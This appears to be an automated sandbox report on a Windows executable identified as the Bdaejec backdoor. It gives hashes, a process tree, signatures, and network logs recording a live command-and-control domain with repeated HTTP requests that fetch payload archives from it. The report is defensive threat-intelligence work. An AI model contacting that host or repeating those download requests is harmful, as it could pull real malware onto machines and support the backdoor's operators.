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Analysis

  • max time kernel
    94s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/02/2025, 03:03 UTC

General

  • Target

    a58fe81aa10628b6f776015ce323d697ff7df887e04a54d42d61fe496f07a283.exe

  • Size

    28KB

  • MD5

    e4ac95edac2f200de68ff07156a9aa96

  • SHA1

    17e18a2f208464e303f4af2f1b6b0f3f0311abd9

  • SHA256

    a58fe81aa10628b6f776015ce323d697ff7df887e04a54d42d61fe496f07a283

  • SHA512

    c604109e5d1cf48946773915bf0ded2b0dc519e71150cc777d90e061aa2c6348fd25b86360358378ff85b51fcb893af57e4efb51027ecc8fe20e9334b77cbfc8

  • SSDEEP

    384:51G/0strh1ieR5SSlXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:C/0cLi8xbQGPL4vzZq2o9W7GsxBbPr

Malware Config

Extracted

Family

bdaejec

C2

ddos.dnsnb8.net

Signatures

  • Bdaejec

    Bdaejec is a backdoor written in C++.

  • Bdaejec family
  • Detects Bdaejec Backdoor. 1 IoCs

    Bdaejec is backdoor written in C++.

  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a58fe81aa10628b6f776015ce323d697ff7df887e04a54d42d61fe496f07a283.exe
    "C:\Users\Admin\AppData\Local\Temp\a58fe81aa10628b6f776015ce323d697ff7df887e04a54d42d61fe496f07a283.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3212
    • C:\Users\Admin\AppData\Local\Temp\Modrng.exe
      C:\Users\Admin\AppData\Local\Temp\Modrng.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2720
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\19fd2d4a.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3764

Network

  • flag-us
    DNS
    ddos.dnsnb8.net
    Modrng.exe
    Remote address:
    8.8.8.8:53
    Request
    ddos.dnsnb8.net
    IN A
    Response
    ddos.dnsnb8.net
    IN A
    44.221.84.105
  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    104.219.191.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    104.219.191.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k1.rar
    Modrng.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k1.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k2.rar
    Modrng.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k2.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k3.rar
    Modrng.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k3.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k3.rar
    Modrng.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k3.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    105.84.221.44.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    105.84.221.44.in-addr.arpa
    IN PTR
    Response
    105.84.221.44.in-addr.arpa
    IN PTR
    ec2-44-221-84-105 compute-1 amazonawscom
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k3.rar
    Modrng.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k3.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    DNS
    7.98.51.23.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    7.98.51.23.in-addr.arpa
    IN PTR
    Response
    7.98.51.23.in-addr.arpa
    IN PTR
    a23-51-98-7deploystaticakamaitechnologiescom
  • flag-us
    DNS
    4.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    4.160.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    228.249.119.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    228.249.119.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    53.210.109.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    53.210.109.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    15.164.165.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    15.164.165.52.in-addr.arpa
    IN PTR
    Response
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k1.rar
    http
    Modrng.exe
    564 B
    296 B
    6
    7

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k1.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k2.rar
    http
    Modrng.exe
    564 B
    296 B
    6
    7

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k2.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k3.rar
    http
    Modrng.exe
    472 B
    216 B
    4
    5

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k3.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k3.rar
    http
    Modrng.exe
    472 B
    216 B
    4
    5

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k3.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k3.rar
    http
    Modrng.exe
    3.4kB
    312 B
    17
    6

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k3.rar
  • 44.221.84.105:799
    ddos.dnsnb8.net
    Modrng.exe
    260 B
    5
  • 44.221.84.105:799
    ddos.dnsnb8.net
    Modrng.exe
    260 B
    5
  • 44.221.84.105:799
    ddos.dnsnb8.net
    Modrng.exe
    260 B
    5
  • 8.8.8.8:53
    ddos.dnsnb8.net
    dns
    Modrng.exe
    61 B
    77 B
    1
    1

    DNS Request

    ddos.dnsnb8.net

    DNS Response

    44.221.84.105

  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
    90 B
    1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    104.219.191.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    104.219.191.52.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    105.84.221.44.in-addr.arpa
    dns
    72 B
    127 B
    1
    1

    DNS Request

    105.84.221.44.in-addr.arpa

  • 8.8.8.8:53
    7.98.51.23.in-addr.arpa
    dns
    69 B
    131 B
    1
    1

    DNS Request

    7.98.51.23.in-addr.arpa

  • 8.8.8.8:53
    4.160.190.20.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    4.160.190.20.in-addr.arpa

  • 8.8.8.8:53
    228.249.119.40.in-addr.arpa
    dns
    73 B
    159 B
    1
    1

    DNS Request

    228.249.119.40.in-addr.arpa

  • 8.8.8.8:53
    53.210.109.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    53.210.109.20.in-addr.arpa

  • 8.8.8.8:53
    15.164.165.52.in-addr.arpa
    dns
    72 B
    146 B
    1
    1

    DNS Request

    15.164.165.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\0GUUC90F\k2[1].rar

    Filesize

    4B

    MD5

    d3b07384d113edec49eaa6238ad5ff00

    SHA1

    f1d2d2f924e986ac86fdf7b36c94bcdf32beec15

    SHA256

    b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c

    SHA512

    0cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6

  • C:\Users\Admin\AppData\Local\Temp\19fd2d4a.bat

    Filesize

    187B

    MD5

    9e585f1dc3fd6be1cca70a409fdc8de2

    SHA1

    5ef75915588a488cd2525275bba5e1dc4f4fcbf3

    SHA256

    7c716eb0ebd06c150f2ef4e3fac12b6f2361e6d9a8030ec236128b1e6553b222

    SHA512

    370997c2ac6a40805af7506c604604ae71265f3e85ec76d206689bf258f1d69f47266cd5204abc1c1ce8f65fc39eb35984834b79c63750cb24b8a423296cc27a

  • C:\Users\Admin\AppData\Local\Temp\484D6D45.exe

    Filesize

    4B

    MD5

    20879c987e2f9a916e578386d499f629

    SHA1

    c7b33ddcc42361fdb847036fc07e880b81935d5d

    SHA256

    9f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31

    SHA512

    bcdde1625364dd6dd143b45bdcec8d59cf8982aff33790d390b839f3869e0e815684568b14b555a596d616252aeeaa98dac2e6e551c9095ea11a575ff25ff84f

  • C:\Users\Admin\AppData\Local\Temp\Modrng.exe

    Filesize

    15KB

    MD5

    56b2c3810dba2e939a8bb9fa36d3cf96

    SHA1

    99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

    SHA256

    4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

    SHA512

    27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

  • memory/2720-4-0x0000000000390000-0x0000000000399000-memory.dmp

    Filesize

    36KB

  • memory/2720-21-0x0000000000390000-0x0000000000399000-memory.dmp

    Filesize

    36KB

  • memory/3212-0-0x0000000000400000-0x0000000000409000-memory.dmp

    Filesize

    36KB

  • memory/3212-28-0x0000000000400000-0x0000000000409000-memory.dmp

    Filesize

    36KB

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